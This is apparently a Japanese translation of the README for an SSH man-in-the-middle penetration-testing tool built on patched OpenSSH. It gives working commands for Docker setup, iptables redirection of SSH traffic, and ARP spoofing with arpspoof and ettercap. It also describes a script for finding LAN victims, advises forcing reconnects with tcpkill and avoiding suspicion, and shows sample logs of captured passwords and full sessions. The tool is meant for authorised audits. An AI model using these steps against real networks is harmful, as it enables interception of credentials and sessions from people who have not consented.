
SSH中間者攻撃ツール
著者: Joe Testa (@therealjoetesta)
このペネトレーションテストツールは、監査人がSSH接続をインターセプトできるようにします。OpenSSH v7.5p1 ソースコードに適用されたパッチにより、被害者と目的のSSHサーバー間のプロキシとして動作し、すべての平文パスワードとセッションがディスクに記録されます。
もちろん、被害者のSSHクライアントはサーバーの鍵が変更されたことを警告します。しかし、99.99999% のケースではこれは正当な操作(OSの再インストール、設定変更など)によって引き起こされるため、多くの/ほとんどのユーザーは警告を無視して続行します。
注記: 変更された sshd_mitm はVMまたはコンテナ内でのみ実行してください!OpenSSHソースの重要な領域に、セキュリティへの影響を考慮せずにアドホックな編集が加えられています。これらの編集によって深刻な脆弱性が導入される可能性は容易に想像できます。
最も迅速かつ簡単な開始方法は、SSH MITM がプリビルドされた Docker イメージを使用することです。
1.) Dockerhub からイメージを取得します:
$ docker pull positronsecurity/ssh-mitm
2.) 次に、コンテナを実行します:
$ mkdir -p ${PWD}/ssh_mitm_logs && docker run --network=host -it --rm -v ${PWD}/ssh_mitm_logs:/home/ssh-mitm/log positronsecurity/ssh-mitm
3.) ホストマシンでIPフォワーディングとNATルートを有効にします:
# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -P FORWARD ACCEPT
# iptables -A INPUT -p tcp --dport 2222 -j ACCEPT
# iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222
4.) LAN上のターゲットを見つけ、ARPスプーフィングを実行します(以下参照)。
5.) シェルとSFTPセッションは ssh_mitm_logs ディレクトリに記録されます。
root で install.sh スクリプトを実行します。これにより、リポジトリから前提条件をインストールし、OpenSSH アーカイブをダウンロードして署名を検証し、コンパイルし、実行するための非特権環境を初期化します。
JoesAwesomeSSHMITMVictimFinder.py スクリプトを使用すると、LAN上のターゲットを非常に簡単に見つけることができます。IPのブロックをARPスプーフィングし、短時間SSHトラフィックをスニッフィングしてから次のブロックに移動します。LAN上のデバイスから発信された進行中のSSH接続が報告されます。
デフォルトでは、JoesAwesomeSSHMITMVictimFinder.py は一度に5つのIPのみを20秒間ARPスプーフィングし、その後次の5つのブロックに移動します。これらのパラメータは調整可能ですが、トレードオフがあります。一度にスプーフィングするIPが多いほど、進行中のSSH接続をキャッチできる可能性が高まりますが、貧弱なネットワークインターフェースにかかる負荷も大きくなります。負荷が高すぎると、インターフェースがフレームをドロップし始め、サービス拒否を引き起こし、疑念を大幅に高めます(これは悪いことです)。デフォルト値はほとんどの場合問題を引き起こしませんが、ターゲットを見つけるのに時間がかかります。低利用のネットワークではブロックサイズを安全に上げることができます。
例:
# ./JoesAwesomeSSHMITMVictimFinder.py --interface enp0s3 --ignore-ips 10.11.12.50,10.11.12.53
Found local address 10.11.12.141 and adding to ignore list.
Using network CIDR 10.11.12.141/24.
Found default gateway: 10.11.12.1
IP blocks of size 5 will be spoofed for 20 seconds each.
The following IPs will be skipped: 10.11.12.50 10.11.12.53 10.11.12.141
Local clients:
* 10.11.12.70 -> 174.129.77.155:22
* 10.11.12.43 -> 10.11.99.2:22
上記の出力は、LAN上の2つのデバイスがSSH接続を作成していることを示しています(10.11.12.43 と 10.11.12.70)。これらは中間者攻撃のターゲットにできます。ただし、認証情報をインターセプトする可能性を高めるには、新しい接続が開始されるのを待つ必要があります。せっかちなペネトレーションテスターは、既存のSSHセッションを強制的に切断し(tcpkill ツールを使用)、クライアントにすぐに新しい接続を作成させることもできます。
1.) 初期セットアップが完了し、潜在的な被害者のリストを見つけたら(上記参照)、root で start.sh を実行します。これにより sshd_mitm が起動し、IPフォワーディングが有効になり、iptables によるSSHパケットインターセプトが設定されます。
2.) ターゲットをARPスプーフィングします(プロのヒント: すべてをスプーフィングしないでください! 貧弱なネットワークインターフェースはネットワーク全体のトラフィックを一度に処理できない可能性があります。一度に少数のIPだけをスプーフィングしてください):
arpspoof -r -t 192.168.x.1 192.168.x.5
または、ettercap ツールを使用することもできます:
ettercap -i enp0s3 -T -M arp /192.168.x.1// /192.168.x.5,192.168.x.6//
3.) auth.log を監視します。インターセプトされたパスワードはここに表示されます:
sudo tail -f /var/log/auth.log
4.) セッションが確立されると、すべての入出力の完全なログが /home/ssh-mitm/ にあります。SSHセッションは shell_session_*.txt として、SFTPセッションは sftp_session_*.html として記録されます(転送されたファイルは対応するディレクトリに保存されます)。
成功すると、/var/log/auth.log にパスワードを記録する行が表示されます。例:
Sep 11 19:28:14 showmeyourmoves sshd_mitm[16798]: INTERCEPTED PASSWORD: hostname: [10.199.30.x]; username: [jdog]; password: [supercalifragilistic] [preauth]
さらに、被害者のSSHセッション全体が記録されます:
# cat /home/ssh-mitm/shell_session_0.txt
Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
Last login: Thu Aug 31 17:42:38 2017
OpenBSD 6.1 (GENERIC.MP) #21: Wed Aug 30 08:21:38 CEST 2017
Welcome to OpenBSD: The proactively secure Unix-like operating system.
Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code. With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.
jdog@jefferson ~ $ ppss
PID TT STAT TIME COMMAND
59264 p0 Ss 0:00.02 -bash (bash)
52132 p0 R+p 0:00.00 ps
jdog@jefferson ~ $ iidd
uid=1000(jdog) gid=1000(jdog) groups=1000(jdog), 0(wheel)
jdog@jefferson ~ $ sssshh jjtteessttaa@@mmaaggiiccbbooxx
jtesta@magicbox's password: ROFLC0PTER!!1juan
ファイル内でユーザーのコマンドの文字が2回表示されることに注意してください。これは、ユーザーからの入力が記録されるとともに、シェルからの出力(文字をエコーバックする)も記録されるためです。sudo や ssh などのプログラムがエコーを一時的に無効にしてパスワードを読み取る場合、重複した文字は記録されません。
すべてのSFTPアクティビティもキャプチャされます。ブラウザで sftp_session_0.html を表示します。これにはコマンドのログと、アップロードおよびダウンロードされたファイルへのリンクが含まれています:
# cat /home/ssh-mitm/sftp_session_0.txt
<html><pre>Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
> realpath "." (Result: /home/jdog)
> realpath "/home/jdog/." (Result: /home/jdog)
> ls /home/jdog
drwxr-xr-x 4 jdog jdog 4096 Sep 11 16:12 .
drwxr-xr-x 4 root root 4096 Sep 6 11:53 ..
-rw-r--r-- 1 jdog jdog 3771 Aug 31 2015 .bashrc
-rw-r--r-- 1 jdog jdog 220 Aug 31 2015 .bash_logout
drwx------ 2 jdog jdog 4096 Sep 6 11:54 .cache
-rw-r--r-- 1 jdog jdog 655 May 16 08:49 .profile
drwx------ 2 jdog jdog 4096 Sep 8 16:59 .ssh
-rw-rw-r-- 1 jdog jdog 5242880 Sep 8 15:52 file
-rw-rw-r-- 1 jdog jdog 43131 Sep 10 10:47 file2
-rw-rw-r-- 1 jdog jdog 83 Sep 6 12:56 file3
-rw-rw-r-- 1 jdog jdog 3048960 Sep 11 13:51 file4
> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> put <a href="sftp_session_0/file5">/home/jdog/file5</a>
> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> stat "/home/jdog/file5" (Result: flags: 15; size: 854072; uid: 1001; gid: 1001; perm: 0100664, atime: 1505172831, mtime: 1505172831)
> setstat "/home/jdog/file5" (Result: flags: 4; size: 0; uid: 0; gid: 0; perm: 0100700, atime: 0, mtime: 0)
</pre></html>
lol.h には2つの define があります: DEBUG_HOST と DEBUG_PORT。これらを有効にして、ホスト名をテストサーバーに設定します。これで、ARPスプーフィングを使用せずに sshd_mitm に直接接続して変更をテストできます。例:
ssh -p 2222 valid_user_on_debug_host@localhost
OpenSSH ソースコードへの変更をテストするには、dev/redeploy.sh スクリプトを使用します。
コミットされていない変更の差分を表示するには、dev/make_diff_of_uncommitted_changes.sh スクリプトを使用します。
OpenSSH ソースへの完全なパッチを再生成するには、dev/regenerate_patch.sh スクリプトを使用します。